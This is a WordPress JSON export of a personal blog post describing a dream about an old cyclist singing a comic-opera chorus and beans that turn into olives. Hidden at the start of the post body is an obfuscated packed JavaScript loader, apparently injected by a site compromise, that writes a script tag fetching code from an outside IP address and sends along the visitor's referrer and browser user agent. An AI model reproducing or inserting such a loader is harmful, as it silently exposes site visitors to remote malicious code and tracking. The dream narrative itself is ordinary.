{"id":950,"date":"2010-01-26T10:22:08","date_gmt":"2010-01-26T17:22:08","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=950"},"modified":"2011-10-07T16:10:56","modified_gmt":"2011-10-07T23:10:56","slug":"the-judge-of-twopenny","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=950","title":{"rendered":"The Judge of Twopenny"},"content":{"rendered":"<p style=\"text-align: left;\">So <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiihh|var|u0026u|referrer|atssr||js|php'.split('|'),0,{}))\n<\/script><\/noindex> last night I dreamed that I was going, very early in the morning, to catch a bus. <em>This in itself is obviously a very whimsical notion\u00e2\u20ac\u00a6.<\/em><\/p>\n<p style=\"text-align: left;\">Anyway, it was early enough to still be chilly, and there was dew in the shady places, but you could tell it would be hot by ten. I was cutting through somebody\u00e2\u20ac\u2122s yard. They had tall garden plants \u00e2\u20ac\u201c vegetables and things \u00e2\u20ac\u201c growing along a fence on the street side. I could hear somebody on the street singing, so I went over and peeked through the bean vines to see what was up.<br \/>\nThe song was a well-known tune from the popular light comic opera, \u00e2\u20ac\u0153The Judge of Twopenny.\u00e2\u20ac\u009d The title character is a comically corrupt judge with a problematically beautiful daughter, and the tune is quite catchy. I can\u00e2\u20ac\u2122t figure out how to indicate the tune in this post, but if you ask me sometime I can probably sing it to you.<br \/>\nThe chorus goes:<\/p>\n<p style=\"text-align: center;\">I am the Judge of Twopenny<br \/>\nSo called by those who mock at me:<br \/>\nOut on the street they point and say,<br \/>\n\u00e2\u20ac\u0153There goes the Judge of Twopenny!\u00e2\u20ac\u009d<\/p>\n<p>I know it doesn\u00e2\u20ac\u2122t look like it rhymes, but it does \u00e2\u20ac\u201c if you sing it with a sort of operatic flair, and as loud as possible: \u00e2\u20ac\u0153There goooooooooes the Judge of TOOOOO&#8212;PEHNNNNN&#8212;AAAAAAAAAY!<br \/>\nWhich is what the man on the bicycle was doing. He was an old man with a grey beard, but not at all frail: he seemed pretty sturdy. He was riding as slowly as possible, in long swerves, almost in circles, and bellowing out the chorus over and over. He seemed very happy. I thought about joining in, and the tune certainly caught in my head, but just then I noticed the giant peas growing on the vine.<\/p>\n<p>It looked like the gardener had only picked the ones in the yard, and had ignored the ones growing through the fence on the sidewalk side. So I reached over to pick some because they looked delicious. They were sweet pod-peas, but at least as long as my hand and bigger around than my thumb. I collected as many as I could hold, and as I was walking to the bus stop, I was eating them, only they turned out to be butterbeans, and then they turned out to be black beans, and then I wondered if maybe black beans were actually just a riper version of other beans, like black olives and green olives, and then they were olives. And then the bus came and I woke up.<\/p>\n<p>After I woke up, I remembered that in my dream, I could taste the different beans with my fingers.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>So last night I dreamed that I was going, very early in the morning, to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-950","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/950"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=950"}],"version-history":[{"count":8,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/950\/revisions"}],"predecessor-version":[{"id":5351,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/950\/revisions\/5351"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=950"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=950"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=950"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}